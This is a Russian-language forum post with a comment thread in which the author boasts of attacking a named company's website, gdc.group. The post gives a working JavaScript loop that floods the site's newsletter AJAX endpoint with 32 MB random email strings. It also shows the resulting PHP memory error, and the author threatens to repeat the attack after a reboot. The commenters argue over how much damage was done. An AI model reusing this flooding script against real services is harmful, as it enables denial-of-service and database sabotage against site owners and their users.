7244

Шлём `Привет` кэшбери

Вижу пост

Не долго парясь нахожу в интернете их сайт http://gdc.group


Ооокей... Смотрим что там и как. И оказывается что фильтр почты, которую к ним на рассылку можно закинуть - фиктивный. Те если отправить руками то можно записать что угодно.


http://gdc.group/files/action/ajax.php?email=1


Методом перебора узнаём что под поле почты выделено 32милиионов(2^25) символов строка... А это 32 мегабайта.


Пишем небольшой скрипт


i=0; spam = () => { $.post('http://gdc.group/files/action/ajax.php', { email: Array(2**25).fill().map(()=>{ return String.fromCodePoint(~~(Math.random(1, 255) * 255)) }).join('') }, (a)=>{console.log(++i, a); spam();}); }; spam();

Хотя на деле лучше степень 20 гдето, потому как на лимите там памяти не хватает.


Ну и итого всё..) Память у сервиса кончилась, удачи разрабам разгребать говно и фиксить дыры..)

Как минимум гигов на 10 в базу я поднасрать успел, пока память не закончилась... Если ребутнут не пофиксив, продолжим...


Такие успешные парни, а найти разраба не из студентов не смогли =\


Теперь всегда так:

Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 4304128 bytes) in /home/bitrix/ext_www/gdc.group/files/action/ajax.php on line 8

Ещё и битрикс... Фи...

Вы смотрите срез комментариев. Показать все
0
Автор поста оценил этот комментарий

КПД этого действия стремится к нулю. При работе PHP-скрипта запускается отдельный поток. Происходит превышение допустимого объема расходуемой ОЗУ на поток. Поток хлопается с ошибкой. При этом все остальное работает без проблем. Короче, подобным весельем вы не создаете сервису ровно никаких проблем. Ищите другой вариант - этот только для хайпа и годится, ибо реального вреда серверу не наносит.
P.S. Ща заминусят, обвинят в том, что я работаю в этой херне (как там она называется)...

раскрыть ветку (10)
0
Автор поста оценил этот комментарий

Я так понял, он им в базу поднасрал имейлами по 32 мегабайта размером, тем самым, съев место на диске

раскрыть ветку (6)
0
Автор поста оценил этот комментарий

Пытался... Просто из-за утечек памяти в коде сервис лёг и не встаёт =\

0
Автор поста оценил этот комментарий

Сообщение об ошибке касается только оперативной памяти. Судя по всему, на скрипт выделено 256Мб.

раскрыть ветку (4)
0
Автор поста оценил этот комментарий

Не на скрипт а на php просто утечка памяти....

раскрыть ветку (3)
0
Автор поста оценил этот комментарий

Все-таки скорее именно на скрипт. Ибо под каждый скрипт запускается отдельный поток PHP. С самим же РНР все в порядке - остальной сайт работает.

раскрыть ветку (2)
0
Автор поста оценил этот комментарий

Остальной сайт не использует php

Это просто ajax/nginx вот и всё.

раскрыть ветку (1)
0
Автор поста оценил этот комментарий

Вы ж сами видели, что там битрикс :) Не будет же весь сайт состоять из статичных HTML-страниц :)
Хотя, на 100% утверждать не буду, но зная теперешних "горе-вебмастеров", они даже на пустой одностраничник лепят движок на трех фреймворках :)

0
Автор поста оценил этот комментарий

Дак а вот это вот чо? Или врут негодяи?

Иллюстрация к комментарию
раскрыть ветку (2)
0
Автор поста оценил этот комментарий

Присмотрелся. Проверил. Да, засер есть, но только для файла рассылки. Вычистят, за 300 рублей на фрилансе закажут заплатку и проблема исчерпана. Да и на работе сайта в целом это никак не сказывается.

0
Автор поста оценил этот комментарий

Это и есть результат. У PHP закончилась память... Скрипт не может работать.

Вы смотрите срез комментариев. Чтобы написать комментарий, перейдите к общему списку